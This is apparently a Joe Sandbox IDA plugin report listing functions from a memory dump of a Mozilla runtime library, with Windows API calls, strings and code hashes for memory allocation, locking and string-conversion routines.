Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction ID: aefe4406774c7c74236b563b2abb29ad46d52638af37982b7f9776e172ef4c2e
Opcode Fuzzy Hash: c34cb5a894b9a67dd1968f93d54790a4a6e4ac3e9d5011dd3a55dcc48a6ec919
Instruction Fuzzy Hash: 8541C0B1A046069FEB14CF68D98476B77FAEF45308F240939D56AEB740E731E904CBA1

Function 6C96CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C96D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C96D139

Strings

MOZ_CRASH(), xrefs: 6C96D187

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction ID: b827a1aab447cafece951804a28b06dd9090a023e854f25fb6b002e3cd707054
Opcode Fuzzy Hash: 97cfd38d9f73e9feb3087f8a9428780c2868546f2e60a5c3514d10e730178775
Instruction Fuzzy Hash: 2F41C032B053168FDB548E6E8D9036A36B4EF6DB14F350139E968E7BC4D7A298008BC4

Function 6C964DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C964EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C964F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C964F1E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction ID: a09de3c7e85f01e70f78299b8c8b463ee06a279a972c51574fa6993e6aa33c9c
Opcode Fuzzy Hash: 745385378f90920dbf91c1a62db068cc0e8b6bd95d8ea0245158b7e5d15da9a1
Instruction Fuzzy Hash: 3641BF71608701DFD705CFAAC49095BB7E8BF99344F108A2DF46597B81DB30E958CB92

Function 6C971530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C97159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C9715E7
free.MOZGLUE(?,?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C97152B,?,?,?,?,6C971248,?), ref: 6C971637

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction ID: a0785a1095495bd582060f3a2fa357e1915c2affc6771ed56e9ef618b47b6764
Opcode Fuzzy Hash: 5e294355a2d66e555a507a94e19bcac8503998dc2067d7fe8ff026e608bffb69
Instruction Fuzzy Hash: 44310872A011058BCB2C8E78D86147E77B9BB923647350B2DE427DBBD4EB30D90487A1

Function 6C9CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAD9D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9DE330,?,6C98C059), ref: 6C9CAE3D

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction ID: 8d238e5c3d009862783805b174708fe9cf32d3a4f99a8e378c258a7e5e44e6cd
Opcode Fuzzy Hash: c8f8952525acbdf5ec049495edde3a86382c7930065437aa7b6a53a211bd6dae
Instruction Fuzzy Hash: D23141B1A012159FDB50DF758D44AABB7F8EF58614F15882DE84AE7700EB34E804CBE1

Function 6C9C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9DDCA0,?,?,?,6C99E8B5,00000000), ref: 6C9C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C99E8B5,00000000), ref: 6C9C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C99E8B5,00000000), ref: 6C9C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C99E8B5,00000000), ref: 6C9C5FD6

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction ID: f9a414590b26973a5c6b41311ddc472288af0665b7a483b6a58faf607ac434de
Opcode Fuzzy Hash: d66362db589873d54aeeeb43c45e9493e9b6d1e38b31716bdee07e0a57416776
Instruction Fuzzy Hash: E03138343046008FD724CF29C898F2AB7F9FF99318BA48558E5668BB95C731EC51CB82

Function 6C96B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C96B532
moz_xmalloc.MOZGLUE(?), ref: 6C96B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C96B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C96B57E
free.MOZGLUE(00000000), ref: 6C96B58F

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction ID: 9676f5cb0f075f62f2fbce5dfb6d78c64c86fa631dfeadf3c0c4aecc2c99451f
Opcode Fuzzy Hash: c11e3f7289597cbcc5e0bd36536f0288c6905140716c5237bf3c5d2e4a72c91b
Instruction Fuzzy Hash: 9821F671A042059BEB008F69CC40BAABBB9FF95304F284029F918DB781F735D911D7A0

Function 6C96B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C96B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C96B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C96B849

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction ID: f04d3f227f4fdd24db87a901b461dade1ad1ea0155ef6e00bc8cb938877be69d
Opcode Fuzzy Hash: 38696a40bf363a12f01caf95f3a4597e19d2617e6179f54d41b869e98a775811
Instruction Fuzzy Hash: 3F215AB0E04209DFEF04DFA9C8855BEBBB8EF59314F148169EC45A7740E731A944CBA0

Function 6C9C6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9C6E78

Part of subcall function 6C9C6A10: InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6A68
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6A7D
Part of subcall function 6C9C6A10: GetCurrentProcess.KERNEL32 ref: 6C9C6AA1
Part of subcall function 6C9C6A10: EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6AAE
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6AE1
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9C6B15
Part of subcall function 6C9C6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9C6B65
Part of subcall function 6C9C6A10: LeaveCriticalSection.KERNEL32(6C9EF618,?,?), ref: 6C9C6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9C6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9C6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9C6EFF

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction ID: 9a514d0739917882f9128245c3c7b55b6cc8dcf3d83f7db51e57820c8a551ee8
Opcode Fuzzy Hash: f283a17b2233ecdbf812ba55fb5281c06d006ac7248655bfb3534f889911fc7e
Instruction Fuzzy Hash: 9E21B071A0831A9FCB10CF29D8856AA77F8EF98308F044439E80997241EB709A58CF92

Function 6C9C76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9C7705

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9C778F,00000000,00000000,00000000,00000000), ref: 6C9C7731
free.MOZGLUE(00000000), ref: 6C9C7760

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction ID: d52661ecbf95237a25dd3d29943d3910ed5ab990e227816723e57f206e13585f
Opcode Fuzzy Hash: b1eaf56e250ac82d37b772605de671da192c71eaeb671a7cd84be5c975e220eb
Instruction Fuzzy Hash: 621190B1A052156BE710AF668C44AABBEF8EF55654F144829E848A7200E77098548BF2

Function 6C9A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C963DEF), ref: 6C9A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C963DEF), ref: 6C9A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C963DEF), ref: 6C9A0DAF

Strings

<jemalloc>, xrefs: 6C9A0D92, 6C9A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C9A0D97, 6C9A0DBE

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction ID: d982ac9fb48c8b7aeabaa9a5a8c4f6cee19f3b4e79d3bbace27396da2ed3256f
Opcode Fuzzy Hash: 13d0055dd888e41ae2e57a661cbe92771d323b042da8a43052cf6b1aec567cb6
Instruction Fuzzy Hash: 78F02E3238439423E72522E61C0AF5A366D6FD6F64F305035F206DEDC0DA54E8064AA8

Function 6C9B7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9B75C4,?), ref: 6C9B762B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7644
GetCurrentThreadId.KERNEL32 ref: 6C9B765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9B74D7,6C9C15FC,?,?,?), ref: 6C9B7677

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction ID: 88f185f8297259e946eca080387f95dafdc61af260dd92aeeb9b440f48701064
Opcode Fuzzy Hash: 594baa9caa169c7835f78488854942f2633f4480938952538144afbccb6ea9f3
Instruction Fuzzy Hash: 6BF0C271E14746ABD7008F21C888676B778FFFA259F21431AF90543601E7B0A5D08BD0

Function 6C9C1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9C1800

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Strings

name, xrefs: 6C9C1939
{marker.name} - {marker.data.name}, xrefs: 6C9C18C7
Details, xrefs: 6C9C1925

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction ID: 791a978e082b28edaee63a6c353ca2e27af3217898c13102eb9902183ba7a4c9
Opcode Fuzzy Hash: fee2b214a680f47438e61b77b0216ba945931e780fc753b636b8ea08f65b0d73
Instruction Fuzzy Hash: 4971F370A047469FDB04CF28D4907AABBB1FFAA314F14466DD8154BB41DB70E698CBE2

Function 6C9CB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?,?,6C9CAB1F), ref: 6C9CB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010,00000000,?), ref: 6C9CB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9CB0A6,6C9CB0A6,?,6C9CAF67,?,00000010,?,6C9CAF67,?,00000010), ref: 6C9CB25F

Strings

map/set<T> too long, xrefs: 6C9CB1FA

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction ID: 85520918705c6aea235ba21366db60746784f812a42322285f549ca47e56eb68
Opcode Fuzzy Hash: 7a9434f3119588f2f4608b350b3403c589de5d7dfae139df5d46d1df9c284437
Instruction Fuzzy Hash: BB6199347042459FD701CF19C880A9ABBF5FF5A328F28C5A9D8599BB52C331ED45CBA2

Function 6C98D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

EnterCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D4F2
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D50B

Part of subcall function 6C96CFE0: EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C96CFF6
Part of subcall function 6C96CFE0: LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C96D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D52E
EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C98D690
LeaveCriticalSection.KERNEL32(6C9EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C99D1C5), ref: 6C98D751

Strings

MOZ_CRASH(), xrefs: 6C98D4BB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction ID: 3811356ab819f1b3ffe9f2adc51f634ba9d3de3500a3231ddf272999c0292da3
Opcode Fuzzy Hash: 3775574062bbb6ef012d05d7cde1baafa6f535e1a008d83b71a272ab001ac0e9
Instruction Fuzzy Hash: 4851E172A097068FD764CF28C49061AB7E5EFAE704F24892FD59AC7B84D770E800CB91

Function 6C9B4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

